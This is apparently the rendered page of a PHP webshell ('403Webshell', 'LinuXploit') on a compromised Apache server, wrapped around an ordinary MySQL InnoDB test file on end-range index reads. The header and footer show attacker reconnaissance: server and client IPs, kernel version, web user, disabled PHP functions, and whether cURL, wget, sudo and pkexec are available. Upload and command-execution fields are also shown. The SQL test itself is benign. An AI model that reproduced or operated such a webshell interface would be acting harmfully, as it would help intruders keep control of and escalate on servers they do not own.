403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.69.166.106
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/innodb/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/innodb/t/end_range_check.test
--source include/have_innodb.inc
--source include/not_embedded.inc
--source include/big_test.inc

--echo # Bug #23481444	OPTIMISER CALL ROW_SEARCH_MVCC() AND READ
--echo #		THE INDEX APPLIED BY UNCOMMITTED ROWS.

CREATE TABLE t1(f1 INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
		f2 INT NOT NULL, f3 INT NOT NULL,
		KEY(f2, f3))ENGINE=INNODB;

DELIMITER |;
CREATE PROCEDURE populate_t1(IN BASE INT, IN SIZE INT)
BEGIN
	DECLARE i INT DEFAULT BASE;
	WHILE (i <= SIZE) DO
		INSERT INTO t1(f2, f3) values (i, i);
		SET i = i + 1;
	END WHILE;
END|
DELIMITER ;|
CALL populate_t1(1, 10000);
INSERT INTO t1(f2, f3) VALUES(10000, 10000);

BEGIN;
CALL populate_t1(10001, 20000);

connect (con1,localhost,root,,);
connection con1;
SELECT SQL_NO_CACHE f2, f3 FROM t1 WHERE f2=10000 and f3 between 9999 and 10000;
connection default;
DROP TABLE t1;

CREATE TABLE t1(f2 INT NOT NULL, f3 INT NOT NULL,
		PRIMARY KEY(f2, f3))ENGINE=INNODB;

CALL populate_t1(1, 10000);

BEGIN;
CALL populate_t1(10001, 20000);

connection con1;
SELECT SQL_NO_CACHE f2, f3 FROM t1 WHERE f2=10000 and f3 between 9999 and 10000;
connection default;
DROP TABLE t1;

CREATE TABLE t1(f1 INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
		f2 INT NOT NULL, f3 INT NOT NULL,
		KEY(f2), KEY(f3))ENGINE=INNODB;
CALL populate_t1(1, 10000);

BEGIN;
CALL populate_t1(10001, 20000);

connection con1;
SELECT count(*) FROM t1 FORCE INDEX(f2, f3) WHERE f2 < 10000 or f3 < 10000;
connection default;
DROP TABLE t1;

CREATE TABLE t1(f1 INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
		f2 INT NOT NULL, f3 INT NOT NULL,
		KEY(f2, f3))ENGINE=INNODB;

CALL populate_t1(1, 10000);
CALL populate_t1(100000, 100200);

BEGIN;
CALL populate_t1(10001, 20000);

connection con1;
SELECT SQL_NO_CACHE COUNT(*) FROM t1
WHERE f2 BETWEEN 9999 AND 10000 OR f2 >= 100000;
connection default;
COMMIT;

DROP TABLE t1;

CREATE TABLE t1(f1 INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
		f2 INT NOT NULL, f3 INT NOT NULL,
		f4 INT AS (f2) VIRTUAL, key(f3, f4))
                PARTITION BY KEY() PARTITIONS 2;

CALL populate_t1(1, 10000);
BEGIN;
CALL populate_t1(10001, 20000);

connection con1;
SELECT /*+ NO_ICP(t1) */ * FROM t1 WHERE f3 = 10000
	AND f4 BETWEEN 9999 AND 10000;
connection default;
COMMIT;
drop table t1;

CREATE TABLE t1(f1 INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
		f2 INT NOT NULL, f3 INT NOT NULL,
		f4 INT AS (f2) VIRTUAL,
		f5 INT AS (f2) VIRTUAL, key(f4, f5))
		PARTITION BY KEY() PARTITIONS 2;

CALL populate_t1(1, 10000);
BEGIN;
CALL populate_t1(10001, 20000);

connection con1;
SELECT /*+ NO_ICP(t1) */ * FROM t1 WHERE f4 = 10000
        AND f5 BETWEEN 9999 AND 10000;
connection default;
COMMIT;
DROP TABLE t1;
DROP PROCEDURE populate_t1;

CREATE TABLE t2(f1 int not null, f2 char(100), f3 INT,
		KEY(f2(20), f3))ENGINE=INNODB;
DELIMITER |;
CREATE PROCEDURE populate_t2(IN BASE INT, IN SIZE INT)
BEGIN
	DECLARE i INT DEFAULT BASE;
	WHILE (i <= SIZE) DO
		INSERT INTO t2(f1, f2, f3) values (i, repeat('a', 100), i);
		SET i = i + 1;
	END WHILE;
END|
DELIMITER ;|

CALL populate_t2(1, 10000);

BEGIN;
CALL populate_t2(10001, 20000);

connection con1;
SELECT /*+ NO_ICP(t2) */ f1 FROM t2 WHERE f2 = repeat('a', 100)
                and f3 BETWEEN 10000 and 10001;
disconnect con1;
connection default;
DROP PROCEDURE populate_t2;
DROP TABLE t2;

Youez - 2016 - github.com/yon3zu
LinuXploit